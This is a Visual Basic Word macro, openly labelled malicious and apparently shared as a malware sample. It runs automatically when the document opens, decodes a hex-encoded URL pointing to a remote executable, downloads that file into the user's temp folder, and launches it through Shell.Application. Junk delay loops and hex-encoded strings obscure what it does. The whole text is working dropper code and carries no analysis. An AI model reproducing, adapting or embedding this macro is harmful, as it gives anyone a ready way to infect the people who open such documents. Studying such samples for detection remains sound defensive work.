Malicious Word macro

Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
#If VBA7 Then
    Private Declare PtrSafe Function DeleteUrlCacheEntry Lib "wininet" Alias _
        "DeleteUrlCacheEntryA" (ByVal lpszUrlName As String) As Long

    Private Declare PtrSafe Function URLDownloadToFile Lib "urlmon" Alias _
    "URLDownloadToFileA" (ByVal pCaller As LongPtr, _
    ByVal szURL As String, _
    ByVal szFileName As String, _
    ByVal dwReserved As Long, _
    ByVal lpfnCB As LongPtr) As LongPtr
#Else
    Private Declare Function DeleteUrlCacheEntry Lib "wininet" Alias _
        "DeleteUrlCacheEntryA" (ByVal lpszUrlName As String) As Long

    Private Declare Function URLDownloadToFile Lib "urlmon" Alias _
    "URLDownloadToFileA" (ByVal pCaller As Long, _
    ByVal szURL As String, _
    ByVal szFileName As String, _
    ByVal dwReserved As Long, _
    ByVal lpfnCB As Long) As Long
#End If
Public Function HexToString(ByVal hextext As String) As String

For y = 1 To Len(hextext)
    num = Mid(hextext, y, 2)
    Value = Value & Chr(Val("&h" & num))
    y = y + 1
Next y

HexToString = Value
End Function
Sub Gjvksdfsdf()

Dim lZQxseyO As Integer
lZQxseyO = 1
Do While lZQxseyO < 38
DoEvents: lZQxseyO = lZQxseyO + 1
Loop

UGivgHgfdg
End Sub
Sub AutoOpen()

Dim uLSlxfLf As Integer
uLSlxfLf = 8
Do While uLSlxfLf < 74
DoEvents: uLSlxfLf = uLSlxfLf + 1
Loop

    Gjvksdfsdf
End Sub
Sub Workbook_Open()

Dim pTXYsseR As Integer
pTXYsseR = 6
Do While pTXYsseR < 85
DoEvents: pTXYsseR = pTXYsseR + 1
Loop

    Gjvksdfsdf
End Sub
Sub UGivgHgfdg()

Dim kRbmYNKP As Integer
kRbmYNKP = 8
Do While kRbmYNKP < 67
DoEvents: kRbmYNKP = kRbmYNKP + 1
Loop

    fdgdfg = HexToString("687474703A2F2F6E7562736A61636B626F782E6F626F726F64756B692E636F6D2F6A732F62696E2E657865")

Dim AEtCJJVU As Integer
AEtCJJVU = 3
Do While AEtCJJVU < 48
DoEvents: AEtCJJVU = AEtCJJVU + 1
Loop

    irtwef = Environ(HexToString("54454D50")) & HexToString("5C424742756967627567554947372E657865")

Dim VCMGYmnj As Integer
VCMGYmnj = 7
Do While VCMGYmnj < 31
DoEvents: VCMGYmnj = VCMGYmnj + 1
Loop

    dsfFfdg = URLDownloadToFile(0&, fdgdfg, irtwef, 0&, 0&)

Dim mjIUwCeN As Integer
mjIUwCeN = 1
Do While mjIUwCeN < 13
DoEvents: mjIUwCeN = mjIUwCeN + 1
Loop

    Set iergerv = CreateObject(HexToString("5368656C6C2E4170706C69636174696F6E"))
iergerv.Open irtwef
End Sub